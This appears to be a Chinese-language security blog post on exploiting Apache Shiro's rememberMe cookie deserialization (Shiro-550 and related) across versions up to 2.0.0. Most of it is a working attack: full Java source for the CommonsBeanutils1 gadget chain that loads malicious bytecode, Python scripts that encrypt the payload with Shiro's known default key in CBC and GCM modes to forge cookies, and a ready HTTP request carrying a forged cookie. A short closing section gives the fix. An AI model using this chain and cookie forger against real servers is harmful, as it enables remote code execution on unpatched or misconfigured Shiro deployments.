1.0.0-incubating ≤ shiro ≤ 1.2.4

这个范围直接就是 Shiro-550 漏洞的影响范围,可利用 CB1 反序列化链配合默认密钥直接打,这是毫无疑问的。低版本 Shiro 中的 commons-beanutils 的版本较低,为 1.8.3,本地构造反序列化时,注意版本要一致。

1.2.5 ≤ shiro ≤ 1.3.2

受 Shiro-550 漏洞的影响,在 1.2.4 之后的版本中,官方通过 generateNewKey 方法生成一个随机密钥来进行修复。

1
setCipherKey(cipherService.generateNewKey().getEncoded());

同时,也允许开发者在 shiro.ini 配置文件中自定义设置密钥,不过在默认配置中,这个字段是被注释的,无法生效。

1
2
3
# We need to set the cipherKey, if you want the rememberMe cookie to work after restarting or on multiple nodes.
# YOU MUST SET THIS TO A UNIQUE STRING
#securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==

那么,在这个版本范围内,只要开发者没有将securityManager.rememberMeManager.cipherKey字段取消注释,即在默认配置下,不会受到反序列化攻击的影响。

当然,这个版本范围会受 Shiro-721 Padding Oracle Attack 漏洞的影响。

实测

1.2.5 和 1.3.2 两个版本,CB1 链反序列化利用失败。

1.3.2 < shiro ≤ 1.4.1

这个版本范围也受 Shiro-721 漏洞的影响。

在这个版本范围内的 shiro.ini 配置文件中,设置密钥的字段被取消注释了,由于配置文件的优先级比 generateNewKey 更高。

1
securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==

所以,在此版本范围内,只要攻击者得知开发者在 shiro.ini 配置文件中设置的密钥,依旧能够进行反序列化利用。

关于 CB1 链的分析可见前文《Java 反序列化漏洞之 CommonsBeanutils1 链》,这里直接将利用代码贴过来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.javasec.cb;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.util.Collections;

// 1.7.0 <= commons-beanutils <= 1.9.4
// JDK 8 版本通杀,已在1.8.0_65和1.8.0_361版本上测试成功,
// 1.7.0_04、1.7.0_80和9均测试失败
public class CBRCEWithoutCC {
public static void main(String[] args) throws Exception {

// Sink
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "T");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});

/*
ReverseComparator与CaseInsensitiveComparator均符合同时实现了Comparator和Serializable,且原生JDK自带。
*/
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

// 先正常比较,以防在序列化时就触发恶意行为
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

// 再利用反射将property设置为outputProperties,以调用obj的getter方法,即TemplatesImpl.getOutputProperties
setFieldValue(comparator, "property", "outputProperties");
// 最好进行恶意比较,以触发getOutputProperties方法的执行,最终实现通过TemplatesImpl加载恶意字节码
setFieldValue(queue, "queue", new Object[]{obj, obj});

// ----------------本地序列化与反序列化测试----------------
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb.ser"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb.ser"));
inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

Python AES-CBC 加密编码脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import uuid
from Crypto.Cipher import AES

if __name__ == '__main__':

with open('cb.ser', 'rb') as f:
data = f.read()

BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), AES.MODE_CBC, iv)

print("Cookie: rememberMe={}".format(base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))

实测

1.4.0、1.4.1 两个版本,CB1 链利用成功。

1.4.2 ≤ shiro ≤ 2.0.0+

由于 1.4.2 之前的版本受 Shiro-721 漏洞的影响,在 1.4.2 及之后的版本,官方更换了 AES 加密算法的模式,由 CBC 改为了 GCM。

不过在 shiro.ini 配置文件中设置密钥的字段还是如下,并没有被注释。

1
securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==

那么将 CB1 链与下面的 Python AES-GCM 加密编码脚本结合,即可进行反序列化利用。高版本 Shiro 中的 commons-beanutils 为 1.9.4 版本,本地构造 Payload 时,注意版本一致性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import uuid
from Crypto.Cipher import AES

if __name__ == '__main__':

with open('cb.ser', 'rb') as f:
data = f.read()

iv = uuid.uuid4().bytes
cipher = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), AES.MODE_GCM, iv)
ciphertext, tag = cipher.encrypt_and_digest(data)
ciphertext = ciphertext + tag
base64_ciphertext = base64.b64encode(iv + ciphertext)
print("Cookie: rememberMe={}".format(base64_ciphertext.decode()))
1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
Cookie: rememberMe=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
Connection: close


实测

1.4.2、1.5.3、1.7.1、1.8.0、1.10.1、1.12.0、1.13.0 版本,CB1 链均能够成功利用。

在目前最新的 2.0.0 版本中也能成功利用,该版本于 2024 年 02 月 21 日发布,对 Java 的要求在 11 及以上。

https://github.com/apache/shiro/releases/tag/shiro-root-2.0.0

正确修复方式

开发者不应该在 shiro.ini 中设置密钥,应将如下字段注释掉。

1
#securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==

这样便会改由 generateNewKey 方法在应用程序每次启动时,自动生成一个随机的密钥。

1
2
3
4
5
6
7
8
9
10
11
public Key generateNewKey(int keyBitSize) {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance(getAlgorithmName());
} catch (NoSuchAlgorithmException e) {
String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function.";
throw new IllegalStateException(msg, e);
}
kg.init(keyBitSize);
return kg.generateKey();
}